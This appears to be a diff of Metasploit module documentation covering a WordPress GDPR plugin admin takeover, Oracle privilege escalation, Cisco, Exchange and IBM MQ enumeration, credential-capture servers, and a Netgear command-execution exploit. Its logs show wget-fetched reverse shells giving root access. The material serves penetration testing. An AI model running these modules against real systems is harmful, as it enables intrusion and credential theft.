|
||||
# Swagger documentation for /api/v1/credentials GET
|
||||
operation :get do
|
||||
|
@ -197,6 +211,8 @@ module CredentialApiDoc
|
|||
property :username, type: :string, description: USERNAME_DESC, example: USERNAME_EXAMPLE
|
||||
property :private_data, type: :string, description: DATA_DESC, example: DATA_EXAMPLE
|
||||
property :private_type, type: :string, description: PRIVATE_TYPE_DESC, enum: PRIVATE_TYPE_ENUM
|
||||
property :realm_key, type: :string, description: KEY_DESC, enum: PRIVATE_TYPE_ENUM
|
||||
property :realm_value, type: :string, description: VALUE_DESC, enum: PRIVATE_TYPE_ENUM
|
||||
property :jtr_format, type: :string, description: JTR_FORMAT_DESC, example: JTR_FORMAT_EXAMPLE
|
||||
property :address, type: :string, format: :ipv4, required: true, description: ADDRESS_DESC, example: ADDRESS_EXAMPLE
|
||||
property :port, type: :int32, format: :int32, description: PORT_DESC, example: PORT_EXAMPLE
|
||||
|
|
|
@ -0,0 +1,48 @@
|
|||
## Description
|
||||
|
||||
This module exploits the [Wordpress GDPR compliance plugin](https://wordpress.org/plugins/wp-gdpr-compliance/) lack of validation ([WPVDB 9144](https://wpvulndb.com/vulnerabilities/9144)), which affects versions 1.4.2 and lower.
|
||||
|
||||
When a user triggers GDPR-related actions, Wordpress's `admin-ajax.php` is called but fails to do validation and capacity checks regarding the asked actions. This leads to any unauthenticated user being able to modify any arbitrary settings on the targeted server.
|
||||
|
||||
This module changes the admin email (optional) to prevent notification sending, enables new user registration, changes the default role of new users to Administrator, and registers a new user that can be used for authentication. The attacker can then log in and take any actions on the newly compromised site.
|
||||
|
||||
## Vulnerable Application
|
||||
|
||||
[GDPR Compliance plugin <= 1.4.2](https://downloads.wordpress.org/plugin/wp-gdpr-compliance.1.4.2.zip)
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Install the application
|
||||
2. `./msfconsole`
|
||||
3. `use auxiliary/admin/http/wp_gdpr_compliance_privesc`
|
||||
4. `set RHOST [wp host]`
|
||||
5. `set RPORT [wp port]`
|
||||
6. `set EMAIL [email address]`
|
||||
7. `run`
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Tested on Debian 9.6 running Wordpress 4.7.5 with WordPress GDPR Compliance plugin 1.4.2:
|
||||
|
||||
```
|
||||
msf5 > use auxiliary/admin/http/wp_gdpr_compliance_privesc
|
||||
msf5 auxiliary(admin/http/wp_gdpr_compliance_privesc) > set verbose true
|
||||
verbose => true
|
||||
msf5 auxiliary(admin/http/wp_gdpr_compliance_privesc) > set rhosts 172.22.222.145
|
||||
rhosts => 172.22.222.145
|
||||
msf5 auxiliary(admin/http/wp_gdpr_compliance_privesc) > set email test@example.com
|
||||
email => test@example.com
|
||||
msf5 auxiliary(admin/http/wp_gdpr_compliance_privesc) > check
|
||||
|
||||
[*] Checking /wp-content/plugins/wp-gdpr-compliance/readme.txt
|
||||
[*] Found version 1.4.2 of the plugin
|
||||
[*] 172.22.222.145:80 The target appears to be vulnerable.
|
||||
msf5 auxiliary(admin/http/wp_gdpr_compliance_privesc) > exploit
|
||||
|
||||
[*] Getting security token from host...
|
||||
[!] Enabling user registrations...
|
||||
[!] Setting the default user role type to administrator...
|
||||
[*] Registering msfuser with email test@example.com
|
||||
[*] Auxiliary module execution completed
|
||||
msf5 auxiliary(admin/http/wp_gdpr_compliance_privesc) >
|
||||
```
|
|
@ -0,0 +1,28 @@
|
|||
## Vulnerable Application
|
||||
|
||||
1. [Install Oracle Database](http://www.oracle.com/technetwork/indexes/downloads/index.html#database)
|
||||
2. [Insert the "Scott/Tiger" test data](http://www.orafaq.com/wiki/SCOTT)
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Install the application
|
||||
2. Connect via sqlplus, and check current privileges:
|
||||
1. Ex: `sqlplus SCOTT/TIGER@192.168.3.100:1521/XEXDB`
|
||||
2. Ex: `SELECT * FROM session_privs`
|
||||
2. Start msfconsole
|
||||
3. Do: ```use auxiliary/admin/oracle/oracle_index_privesc```
|
||||
4. Do: set ```SQL```, and ```TABLE``` if desired
|
||||
5. Do: ```exploit```
|
||||
6. Reconnect with sqlplus and check privileges post-exploit:
|
||||
1. Ex: `sqlplus SCOTT/TIGER@192.168.3.100:1521/XEXDB`
|
||||
2. Ex: `SELECT * FROM session_privs`
|
||||
|
||||
## Options
|
||||
|
||||
**SQL**
|
||||
|
||||
The SQL that will execute with the privileges of the user who created the index. Default is to escalate privileges.
|
||||
|
||||
**TABLE**
|
||||
|
||||
Table to create the index on.
|
|
@ -0,0 +1,47 @@
|
|||
## Description
|
||||
|
||||
This module scans for the presence of the HTTP interface for a cisco device and attempts to enumerate it using basic authentication.
|
||||
|
||||
## Vulnerable Application
|
||||
|
||||
Any Cisco networking device with the HTTP inteface turned on.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Enable the web interface on a cisco device `ip http server`
|
||||
2. Start msfconsole
|
||||
3. Do: ```use auxiliary/scanner/http/cisco_device_manager```
|
||||
4. Do: ```set RHOSTS [IP]```
|
||||
5. Do: ```run```
|
||||
|
||||
## Options
|
||||
|
||||
**HttpUsername**
|
||||
|
||||
Username to use for basic authentication. Default value is `cisco`
|
||||
|
||||
**HttpPassword**
|
||||
|
||||
Password to use for basic authentication. Default value is `cisco`
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Tested on Cisco UC520-8U-4FXO-K9 running IOS 12.4
|
||||
|
||||
```
|
||||
msf5 > use auxiliary/scanner/http/cisco_device_manager
|
||||
msf5 auxiliary(scanner/http/cisco_device_manager) > set rhosts 2.2.2.2
|
||||
rhosts => 2.2.2.2
|
||||
msf5 auxiliary(scanner/http/cisco_device_manager) > set vebose true
|
||||
vebose => true
|
||||
msf5 auxiliary(scanner/http/cisco_device_manager) > run
|
||||
|
||||
[+] 2.2.2.2:80 Successfully authenticated to this device
|
||||
[+] 2.2.2.2:80 Processing the configuration file...
|
||||
[+] 2.2.2.2:80 MD5 Encrypted Enable Password: $1$TF.y$3E7pZ2szVvQw5JG8SDjNa1
|
||||
[+] 2.2.2.2:80 Username 'cisco' with MD5 Encrypted Password: $1$DaqN$iP32E5WcOOui/H66R63QB0
|
||||
[+] 2.2.2.2:80 SNMP Community (RO): public
|
||||
[+] 2.2.2.2:80 ePhone Username 'phoneone' with Password: 111111
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
|
@ -0,0 +1,46 @@
|
|||
This module enumerates databases on InfluxDB using the REST API using the default authentication of root:root.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Do: ```use auxiliary/scanner/http/influxdb_enum```
|
||||
2. Do: ```set RHOSTS [IP]```
|
||||
3. Do: ```set RPORT [PORT]```
|
||||
4. Do: ```run```
|
||||
|
||||
## Scenarios
|
||||
|
||||
```
|
||||
msf5 > use auxiliary/scanner/http/influxdb_enum
|
||||
msf5 auxiliary(scanner/http/influxdb_enum) > set RHOST 172.25.65.20
|
||||
RHOST => 172.25.65.20
|
||||
msf5 auxiliary(scanner/http/influxdb_enum) > set VERBOSE true
|
||||
VERBOSE => true
|
||||
msf5 auxiliary(scanner/http/influxdb_enum) > run
|
||||
|
||||
[+] 172.25.65.20:8086 - Influx Version: 1.5.1
|
||||
[+] 172.25.65.20:8086 - Influx DB Found:
|
||||
|
||||
{
|
||||
"results": [
|
||||
{
|
||||
"statement_id": 0,
|
||||
"series": [
|
||||
{
|
||||
"name": "databases",
|
||||
"columns": [
|
||||
"name"
|
||||
],
|
||||
"values": [
|
||||
[
|
||||
"_internal"
|
||||
]
|
||||
]
|
||||
}
|
||||
]
|
||||
}
|
||||
]
|
||||
}
|
||||
|
||||
[+] File saved in: /Users/unix/.msf4/loot/20180423050119_default_172.25.65.20_influxdb.enum_623871.txt
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
|
@ -0,0 +1,53 @@
|
|||
## Vulnerable Application
|
||||
|
||||
* IBM Downloads page: https://developer.ibm.com/messaging/mq-downloads/
|
||||
* Tested on IBM MQ 7.5, 8 and 9
|
||||
* Usage:
|
||||
* Download and install MQ Server from the above link
|
||||
* Create a new Queue Manager
|
||||
* Create a new channel (without SSL)
|
||||
* Allow remote connections for admin users by removing the CHLAUTH record that denies all users or configure access for a specific username.
|
||||
* Run the module
|
||||
|
||||
## Verification Steps
|
||||
Example steps in this format (is also in the PR):
|
||||
1. Install IBM MQ Server 7.5, 8, or 9
|
||||
2. Start msfconsole
|
||||
3. Do: ```use auxiliary/scanner/misc/ibm_mq_login```
|
||||
4. Do: ```set channel <admin_channel_name_without_ssl>```
|
||||
5. Do: ```set queue_manager <queue_manager_name>```
|
||||
5. Do: ```set usernames_file <list_of_usernames>```
|
||||
6. Do: ```set rhosts <target_IP>```
|
||||
7. Do: ```set rport <port>```
|
||||
8. Do: ```run```
|
||||
|
||||
Example output:
|
||||
```
|
||||
msf auxiliary(scanner/misc/ibm_mq_login) > run
|
||||
|
||||
[*] 10.1.1.10:1416 - Found username: admin
|
||||
[*] 10.1.1.10:1416 - Found username: test
|
||||
|
||||
[+] 10.1.1.10:1416 - 10.1.1.10:1416 Valid usernames found: ["admin", "test"]
|
||||
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
## Options
|
||||
**The USERNAMES_FILE option**
|
||||
|
||||
This option should contain the path to a text file which contains a list of usernames that will be checked. One username per line.
|
||||
|
||||
**The QUEUE_MANAGER option**
|
||||
|
||||
This option should contain the name of the target Queue Manager.
|
||||
|
||||
**The CHANNEL option**
|
||||
|
||||
This option should contain the name of a server-connection channel that will be used to connect to the Queue Manager.
|
||||
|
||||
## Scenarios
|
||||
This module can be used to identify a list of usernames that are allowed to connect to the Queue Manager. This module requires the name of a valid server-connection channel, the Queue Manager's name which can be obtained by running the following 2 modules:
|
||||
* ```auxiliary/scanner/misc/ibm_mq_channel_brute```
|
||||
* ```auxiliary/scanner/misc/ibm_mq_enum```
|
||||
After identifying a valid username, MQ Explorer can be used to connect to the Queue Manager using the information gathered.
|
|
@ -0,0 +1,59 @@
|
|||
The `java_jmx_scanner` module uses the `Msf::Exploit::Remote::Java::Rmi::Client` library to perform a handshake with a Java JMX MBean server. JMX MBean listens in 1099 by default, and is used to manage and monitor Java applications.
|
||||
|
||||
The module returns whether the target is a Java JMX MBeans server and also outputs if the server requires authentication.
|
||||
|
||||
## Vulnerable Application
|
||||
|
||||
While many implementations of JMX are available, the module was successfully tested against an Apache ActiveMQ 5.13.3 server with JMX enabled. For convenience, a docker container (`antonw/activemq-jmx`) supports JMX and can be tweaked to require authentication.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
See [PR#10401](https://github.com/rapid7/metasploit-framework/pull/10401) for general information, and [this specific comment](https://github.com/rapid7/metasploit-framework/pull/10401#issuecomment-448705897) for steps to require JMX authentication in the container. In summary:
|
||||
|
||||
```
|
||||
docker run -p 1099:1099 antonw/activemq-jmx
|
||||
docker exec -u=root -it `docker ps -q` /bin/bash
|
||||
|
||||
# echo -e "monitorRole QED\ncontrolRole R&D" /etc/java-7-openjdk/management/jmxremote.password
|
||||
# chown activemq /etc/java-7-openjdk/management/jmxremote.password
|
||||
# chmod 400 /etc/java-7-openjdk/management/jmxremote.password
|
||||
# sed 's/-Dcom.sun.management.jmxremote.authenticate=false/-Dcom.sun.management.jmxremote.authenticate=true/' /opt/apache-activemq-5.13.3/bin/env
|
||||
|
||||
docker restart `docker ps -q`
|
||||
```
|
||||
|
||||
## Options
|
||||
|
||||
**Option name**
|
||||
|
||||
Talk about what it does, and how to use it appropriately. If the default value is likely to change, include the default value here.
|
||||
|
||||
## Scenarios
|
||||
|
||||
### ActiveMQ 5.13.3
|
||||
|
||||
Against the above-described Docker container, the workflow looks like:
|
||||
|
||||
```
|
||||
msf5 auxiliary(scanner/misc/java_jmx_server) > set RHOST 127.0.0.1
|
||||
msf5 auxiliary(scanner/misc/java_jmx_server) > set RPORT 1099
|
||||
msf5 auxiliary(scanner/misc/java_jmx_server) > run
|
||||
[*] Reloading module...
|
||||
|
||||
[*] 127.0.0.1:1099 - Sending RMI header...
|
||||
[*] 127.0.0.1:1099 - localhost:1099 Java JMX MBean authentication required
|
||||
[*] 127.0.0.1:1099 - Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
|
||||
In addition, note that `services` within the data model has been updated:
|
||||
|
||||
```
|
||||
msf5 auxiliary(scanner/misc/java_jmx_server) > services
|
||||
Services
|
||||
========
|
||||
|
||||
host port proto name state info
|
||||
---- ---- ----- ---- ----- ----
|
||||
127.0.0.1 1099 tcp java-rmi open JMX MBean server accessible
|
||||
```
|
|
@ -0,0 +1,21 @@
|
|||
OWA (Outlook Webapp) is vulnerable to time-based user enumeration attacks.
|
||||
This module leverages all known, and even some lesser-known services exposed by default
|
||||
Exchange installations to enumerate email.
|
||||
|
||||
Error-based user enumeration for Office 365 integrated email addresses
|
||||
|
||||
## Verification
|
||||
|
||||
- Start `msfconsole`
|
||||
- `use auxiliary/scanner/msmail/exchange_enum`
|
||||
- `set (`EMAIL` or `EMAIL_FILE`)`
|
||||
- `run`
|
||||
- `creds`
|
||||
|
||||
*Results should look something like below if valid users were found:*
|
||||
|
||||
```
|
||||
host origin service public private realm private_type
|
||||
---- ------ ------- ------ ------- ----- ------------
|
||||
<ip> <ip> 443/tcp (owa) chris@somecompany.com
|
||||
```
|
|
@ -0,0 +1,42 @@
|
|||
OWA (Outlook Webapp) is vulnerable to time-based user enumeration attacks.
|
||||
This module leverages all known, and even some lesser-known services exposed by default
|
||||
Exchange installations to enumerate users. It also targets Office 365 for error-based user enumeration.
|
||||
|
||||
**Identify Command**
|
||||
- Used for gathering information about a host that may be pointed towards an Exchange or o365 tied domain
|
||||
- Queries for specific DNS records related to Office 365 integration
|
||||
- Attempts to extract internal domain name for onprem instance of Exchange
|
||||
- Identifies services vulnerable to time-based user enumeration for onprem Exchange
|
||||
- Lists password-sprayable services exposed for onprem Exchange host
|
||||
|
||||
**Note:** Currently uses RHOSTS which resolves to an IP which is NOT desired, this is currently being fixed
|
||||
|
||||
## Verification
|
||||
|
||||
- Start `msfconsole`
|
||||
- `use auxiliary/scanner/msmail/host_id`
|
||||
- `set RHOSTS <target>`
|
||||
- `run`
|
||||
|
||||
*Results should look like below:*
|
||||
|
||||
```
|
||||
msf5 > use auxiliary/scanner/msmail/host_id
|
||||
msf5 auxiliary(scanner/msmail/host_id) > set RHOSTS <host>
|
||||
RHOSTS => <host>
|
||||
msf5 auxiliary(scanner/msmail/host_id) > run
|
||||
|
||||
[*] Running for <ip>...
|
||||
[*] Attempting to harvest internal domain:
|
||||
[*] Internal Domain:
|
||||
[*] <domain>
|
||||
[*] [-] Domain is not using o365 resources.
|
||||
[*] Identifying endpoints vulnerable to time-based enumeration:
|
||||
[*] [+] https://<host>/Microsoft-Server-ActiveSync
|
||||
[*] [+] https://<host>/autodiscover/autodiscover.xml
|
||||
[*] [+] https://<host>/owa
|
||||
[*] Identifying exposed Exchange endpoints for potential spraying:
|
||||
[*] [+] https://<host>/oab
|
||||
[*] [+] https://<host>/ews
|
||||
|
||||
```
|
|
@ -0,0 +1,25 @@
|
|||
OWA (Outlook Webapp) is vulnerable to time-based user enumeration attacks.
|
||||
This module leverages all known, and even some lesser-known services exposed by default
|
||||
Exchange installations to enumerate users. It also targets Office 365 for error-based user enumeration.
|
||||
|
||||
- Error-based user enumeration for on premise Exchange services
|
||||
|
||||
**Note:** Currently uses RHOSTS which resolves to an IP which is NOT desired, this is currently being fixed
|
||||
|
||||
## Verification
|
||||
|
||||
- Start `msfconsole`
|
||||
- `use auxiliary/scanner/msmail/onprem_enum`
|
||||
- `set RHOSTS <target>`
|
||||
- `set (`USER` or `USER_FILE`)
|
||||
- `run`
|
||||
- `creds`
|
||||
|
||||
*Results should look something like below if valid users were found:*
|
||||
|
||||
```
|
||||
host origin service public private realm private_type
|
||||
---- ------ ------- ------ ------- ----- ------------
|
||||
10.1.1.1 10.1.1.1 443/tcp (owa)
|
||||
10.1.1.1 10.1.1.1 443/tcp (owa) chris
|
||||
```
|
|
@ -0,0 +1,43 @@
|
|||
This module creates a mock PostgreSQL server which accepts credentials. Upon receiving a login attempt, a
|
||||
`FATAL: password authentication failed for user` error is thrown.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start msfconsole
|
||||
2. Do: ```use auxiliary/server/capture/postgresql```
|
||||
3. Do: ```run```
|
||||
|
||||
## Options
|
||||
|
||||
**SSL**
|
||||
|
||||
Boolean if SSL should be used. Default is `False`.
|
||||
|
||||
**SSLCert**
|
||||
|
||||
File path to a combined Private Key and Certificate file. If not provided, a certificate will be automatically
|
||||
generated. Default is null.
|
||||
|
||||
## Scenarios
|
||||
|
||||
### PostgreSQL Server and psql Client
|
||||
|
||||
Server:
|
||||
|
||||
```
|
||||
msf5 > use auxiliary/server/capture/postgresql
|
||||
msf5 auxiliary(server/capture/postgresql) > run
|
||||
[*] Auxiliary module running as background job 0.
|
||||
|
||||
[*] Started service listener on 0.0.0.0:5432
|
||||
[*] Server started.
|
||||
[+] PostgreSQL LOGIN 127.0.0.1:49882 msf / pwn_all_da_tings / msf
|
||||
```
|
||||
|
||||
Client:
|
||||
|
||||
```
|
||||
root@kali:~# psql -U msf -h 127.0.0.1
|
||||
Password for user msf:
|
||||
psql: FATAL: password authentication failed for user "msf"
|
||||
```
|
|
@ -0,0 +1,57 @@
|
|||
This module creates a mock telnet server which accepts credentials. Upon receiving a login attempt, a `Login failed` error is thrown.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start msfconsole
|
||||
2. Do: ```use auxiliary/server/capture/telnet```
|
||||
3. Do: ```run```
|
||||
|
||||
## Options
|
||||
|
||||
**BANNER**
|
||||
|
||||
The Banner which should be displayed. Default is empty, which will display `Welcome`.
|
||||
|
||||
**SSL**
|
||||
|
||||
Boolean if SSL should be used. Default is `False`.
|
||||
|
||||
**SSLCert**
|
||||
|
||||
File path to a combined Private Key and Certificate file. If not provided, a certificate will be automatically
|
||||
generated. Default is ``.
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Telnet Server and Client
|
||||
|
||||
Server:
|
||||
|
||||
```
|
||||
msf5 > use auxiliary/server/capture/telnet
|
||||
msf5 auxiliary(server/capture/telnet) > run
|
||||
[*] Auxiliary module running as background job 0.
|
||||
msf5 auxiliary(server/capture/telnet) >
|
||||
[*] Started service listener on 0.0.0.0:23
|
||||
[*] Server started.
|
||||
[+] TELNET LOGIN 127.0.0.1:40016 root / <3@wvu_is_my_hero
|
||||
```
|
||||
|
||||
Client:
|
||||
|
||||
```
|
||||
root@kali:~# telnet 127.0.0.1
|
||||
Trying 127.0.0.1...
|
||||
Connected to 127.0.0.1.
|
||||
Escape character is '^]'.
|
||||
|
||||
Welcome
|
||||
|
||||
Login: root
|
||||
Password: <3@wvu_is_my_hero
|
||||
|
||||
|
||||
Login failed
|
||||
|
||||
Connection closed by foreign host.
|
||||
```
|
|
@ -0,0 +1,69 @@
|
|||
This module creates a mock VNC server which accepts credentials. Upon receiving a login attempt, an `Authentication failure` error is thrown.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start msfconsole
|
||||
2. Do: ```use auxiliary/server/capture/vnc```
|
||||
3. Do: ```run```
|
||||
|
||||
## Options
|
||||
|
||||
**CHALLENGE**
|
||||
|
||||
The 16 byte challenge used in the authentication. Default is `00112233445566778899aabbccddeeff`.
|
||||
|
||||
**JOHNPWFILE**
|
||||
|
||||
Write a file containing a John the Ripper format for cracking the credentials. Default is ``.
|
||||
|
||||
**SSL**
|
||||
|
||||
Boolean if SSL should be used. Default is `False`.
|
||||
|
||||
**SSLCert**
|
||||
|
||||
File path to a combined Private Key and Certificate file. If not provided, a certificate will be automatically
|
||||
generated. Default is ``.
|
||||
|
||||
## Scenarios
|
||||
|
||||
### VNC with vncviewer and JTR Cracking
|
||||
|
||||
Server, Client:
|
||||
|
||||
```
|
||||
msf5 > use auxiliary/server/capture/vnc
|
||||
msf5 auxiliary(server/capture/vnc) > use auxiliary/server/capture/vnc
|
||||
msf5 auxiliary(server/capture/vnc) > set johnpwfile /tmp/john
|
||||
johnpwfile => /tmp/john
|
||||
msf5 auxiliary(server/capture/vnc) > run
|
||||
[*] Auxiliary module running as background job 0.
|
||||
msf5 auxiliary(server/capture/vnc) >
|
||||
[*] Started service listener on 0.0.0.0:5900
|
||||
[*] Server started.
|
||||
|
||||
msf5 auxiliary(server/capture/vnc) > vncviewer 127.0.0.1
|
||||
[*] exec: vncviewer 127.0.0.1
|
||||
|
||||
Connected to RFB server, using protocol version 3.7
|
||||
Performing standard VNC authentication
|
||||
Password:
|
||||
Authentication failure
|
||||
|
||||
[+] 127.0.0.1:40240 - Challenge: 00112233445566778899aabbccddeeff; Response: b7b9c87777661a7a2299733209bfdfce
|
||||
```
|
||||
|
||||
John the Ripper (JTR) Cracker:
|
||||
|
||||
```
|
||||
msf5 auxiliary(server/capture/vnc) > john /tmp/john_vnc
|
||||
[*] exec: john /tmp/john_vnc
|
||||
|
||||
Using default input encoding: UTF-8
|
||||
Loaded 1 password hash (VNC [DES 32/64])
|
||||
Press 'q' or Ctrl-C to abort, almost any other key for status
|
||||
password (?)
|
||||
1g 0:00:00:00 DONE 2/3 (2018-11-11 20:38) 25.00g/s 75.00p/s 75.00c/s 75.00C/s password
|
||||
Use the "--show" option to display all of the cracked passwords reliably
|
||||
Session completed
|
||||
```
|
|
@ -18,6 +18,14 @@ Tested on 2.7.18.0503.
|
|||
|
||||
## Options
|
||||
|
||||
**RPORT**
|
||||
|
||||
Set this to the port for the REST API, usually 8081.
|
||||
|
||||
**WEBUI_PORT**
|
||||
|
||||
Set this to the port for the web UI, usually 8443.
|
||||
|
||||
**TOKEN**
|
||||
|
||||
Set this to the service token. Defaults to `AuroraSdnToken37`.
|
||||
|
|
|
@ -0,0 +1,108 @@
|
|||
## Description
|
||||
|
||||
|
||||
The module leverages an unauthenticated arbitrary command execution vulnerability in Netgear WN604 before 3.3.3 and WN802Tv2, WNAP210v2, WNAP320, WNDAP350, WNDAP360, and WNDAP660 before 3.5.5.0. The vulnerability occurs within how the router handles POST requests from (1) boardData102.php, (2) boardData103.php, (3) boardDataJP.php, (4) boardDataNA.php, and (5) boardDataWW.php. The vulnerability was discovered by Daming Dominic Chen, creator of FIRMADYNE (https://github.com/firmadyne/firmadyne).
|
||||
|
||||
## Vulnerable Application
|
||||
|
||||
|
||||
1. Start msfconsole
|
||||
2. Do : `use exploit/linux/http/netgear_unauth_exec`
|
||||
3. Do : `set RHOST [RouterIP]`
|
||||
4. Do : `set SRVHOST [Your server's IP]` if your payload isn't being hosted on another system
|
||||
5. Do : `set LHOST [Your IP]`
|
||||
6. Do : `set MAC_ADDRESS [12 digit number]` if you want some specific MAC address instead of a random one
|
||||
7. Do : `set TARGETURI [target URI]` if you want to target another URI instead of the default `boardDataWW.php`
|
||||
8. Do : `set PAYLOAD linux/mipsbe/meterpreter/reverse_tcp` if you want meterpreter session
|
||||
9. Do : `exploit`
|
||||
10. If router is vulnerable, payload should be dropped via wget (the default HTTP stager) and executed, and you should obtain a session
|
||||
|
||||
|
||||
## Example with default payload (linux/mipsbe/shell_reverse_tcp)
|
||||
|
||||
```
|
||||
msf > use exploit/linux/http/netgear_unauth_exec
|
||||
msf exploit(linux/http/netgear_unauth_exec) > set RHOST 192.168.200.100
|
||||
RHOST => 192.168.200.100
|
||||
msf exploit(linux/http/netgear_unauth_exec) > set LHOST 192.168.200.99
|
||||
LHOST => 192.168.200.99
|
||||
msf exploit(linux/http/netgear_unauth_exec) > set SRVHOST 192.168.200.99
|
||||
SRVHOST => 192.168.200.99
|
||||
msf exploit(linux/http/netgear_unauth_exec) > exploit
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.200.99:4444
|
||||
[*] Using URL: http://192.168.200.99:8080/Ekvrz8LbW
|
||||
[*] Client 192.168.200.100 (Wget) requested /Ekvrz8LbW
|
||||
[*] Sending payload to 192.168.200.100 (Wget)
|
||||
[*] Command shell session 1 opened (192.168.200.99:4444 -> 192.168.200.100:56852) at 2018-10-09 20:24:56 +0630
|
||||
[*] Command Stager progress - 118.97% done (138/116 bytes)
|
||||
[*] Server stopped.
|
||||
|
||||
uname -a
|
||||
Linux netgear123456 2.6.32.70 #1 Thu Feb 18 01:39:21 UTC 2016 mips unknown
|
||||
id
|
||||
uid=0(root) gid=0(root)
|
||||
|
||||
```
|
||||
|
||||
## Example with meterpreter (linux/mipsbe/meterpreter/reverse_tcp)
|
||||
|
||||
```
|
||||
msf > use exploit/linux/http/netgear_unauth_exec
|
||||
msf exploit(linux/http/netgear_unauth_exec) > set RHOST 192.168.200.100
|
||||
RHOST => 192.168.200.100
|
||||
msf exploit(linux/http/netgear_unauth_exec) > set PAYLOAD linux/mipsbe/meterpreter/reverse_tcp
|
||||
PAYLOAD => linux/mipsbe/meterpreter/reverse_tcp
|
||||
msf exploit(linux/http/netgear_unauth_exec) > set LHOST 192.168.200.99
|
||||
LHOST => 192.168.200.99
|
||||
msf exploit(linux/http/netgear_unauth_exec) > set SRVHOST 192.168.200.99
|
||||
SRVHOST => 192.168.200.99
|
||||
msf exploit(linux/http/netgear_unauth_exec) > exploit
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.200.99:4444
|
||||
[*] Using URL: http://192.168.200.99:8080/x6ZYzUoe9x7IR
|
||||
[*] Client 192.168.200.100 (Wget) requested /x6ZYzUoe9x7IR
|
||||
[*] Sending payload to 192.168.200.100 (Wget)
|
||||
[*] Sending stage (1108408 bytes) to 192.168.200.100
|
||||
[*] Meterpreter session 1 opened (192.168.200.99:4444 -> 192.168.200.100:56854) at 2018-10-09 20:26:39 +0630
|
||||
[*] Command Stager progress - 118.33% done (142/120 bytes)
|
||||
[*] Server stopped.
|
||||
|
||||
meterpreter > sysinfo
|
||||
Computer : 192.168.200.100
|
||||
OS : (Linux 2.6.32.70)
|
||||
Architecture : mips
|
||||
BuildTuple : mips-linux-muslsf
|
||||
Meterpreter : mipsbe/linux
|
||||
meterpreter > getuid
|
||||
Server username: uid=0, gid=0, euid=0, egid=0
|
||||
meterpreter >
|
||||
|
||||
```
|
||||
|
||||
## Example using some other vulnerable URI (boardDataNA.php)
|
||||
```
|
||||
msf > use exploit/linux/http/netgear_unauth_exec
|
||||
msf exploit(linux/http/netgear_unauth_exec) > set RHOST 192.168.200.100
|
||||
RHOST => 192.168.200.100
|
||||
msf exploit(linux/http/netgear_unauth_exec) > set TARGETURI boardDataNA.php
|
||||
TARGETURI => boardDataNA.php
|
||||
msf exploit(linux/http/netgear_unauth_exec) > set LHOST 192.168.200.99
|
||||
LHOST => 192.168.200.99
|
||||
msf exploit(linux/http/netgear_unauth_exec) > set SRVHOST 192.168.200.99
|
||||
SRVHOST => 192.168.200.99
|
||||
msf exploit(linux/http/netgear_unauth_exec) > exploit
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.200.99:4444
|
||||
[*] Using URL: http://192.168.200.99:8080/zlJyAS8F1As
|
||||
[*] Client 192.168.200.100 (Wget) requested /zlJyAS8F1As
|
||||
[*] Sending payload to 192.168.200.100 (Wget)
|
||||
[*] Command shell session 1 opened (192.168.200.99:4444 -> 192.168.200.100:56856) at 2018-10-09 20:28:41 +0630
|
||||
[*] Command Stager progress - 118.64% done (140/118 bytes)
|
||||
[*] Server stopped.
|
||||
|
||||
uname -a
|
||||
Linux netgear123456 2.6.32.70 #1 Thu Feb 18 01:39:21 UTC 2016 mips unknown
|
||||
id
|
||||
uid=0(root) gid=0(root)
|
||||
```
|
|
@ -0,0 +1,400 @@
|
|||
## Vulnerable Application
|
||||
|
||||
The [imap_open](http://php.net/manual/en/function.imap-open.php) function within php,
|
||||
if called without the `/norsh` flag, will attempt to preauthenticate an IMAP session.
|
||||
On Debian based systems, including Ubuntu, `rsh` is mapped to the ssh binary. Ssh's
|
||||
`ProxyCommand` option can be passed from `imap_open` to execute arbitrary commands.
|
||||
While many custom applications may use `imap_open`, it is reported that the following
|
||||
applications are vulnerable:
|
||||
|
||||
* [prestashop](https://github.com/PrestaShop/PrestaShop/blob/0d53d6b58b951ac364ad44671cf1ae9bf7ab6aed/controllers/admin/AdminCustomerThreadsController.php#L1010)
|
||||
* [SuiteCRM](https://github.com/salesagility/SuiteCRM/blob/153b2bae76097cdba9fc9c025bcd829a702b8687/modules/InboundEmail/EditView.php#L260)
|
||||
* [e107 v2](https://github.com/e107inc/e107/blob/7570b7ce4e17c03e9759c90889db8e750d566e53/e107_handlers/pop_bounce_handler.php#L83)
|
||||
|
||||
Prestashop exploitation requires the admin URI, and administrator credentials.
|
||||
|
||||
SuiteCRM exploitation requires administrator credentials.
|
||||
|
||||
e107 v2 exploitation requires administrator credentials.
|
||||
|
||||
Additional applications were reported vulnerable, but exploits were not written. See [#10987](https://github.com/rapid7/metasploit-framework/pull/10987) for additional details.
|
||||
|
||||
### Prestashop 1.7.2.4 on Ubuntu 16.04
|
||||
|
||||
Mostly derived from [websiteforstudents.com](https://websiteforstudents.com/install-prestashop-on-ubuntu-17-04-17-10-with-apache2-mariadb-and-php/),
|
||||
with a few tweeks for Ubuntu 16.04, and to install PHP's imap mod.
|
||||
|
||||
```
|
||||
sudo apt install apache2
|
||||
sudo sed -i "s/Options Indexes FollowSymLinks/Options FollowSymLinks/" /etc/apache2/apache2.conf
|
||||
sudo systemctl stop apache2.service
|
||||
sudo systemctl start apache2.service
|
||||
sudo systemctl enable apache2.service
|
||||
sudo apt-get install mariadb-server mariadb-client
|
||||
sudo systemctl stop mysql.service
|
||||
sudo systemctl start mysql.service
|
||||
sudo systemctl enable mysql.service
|
||||
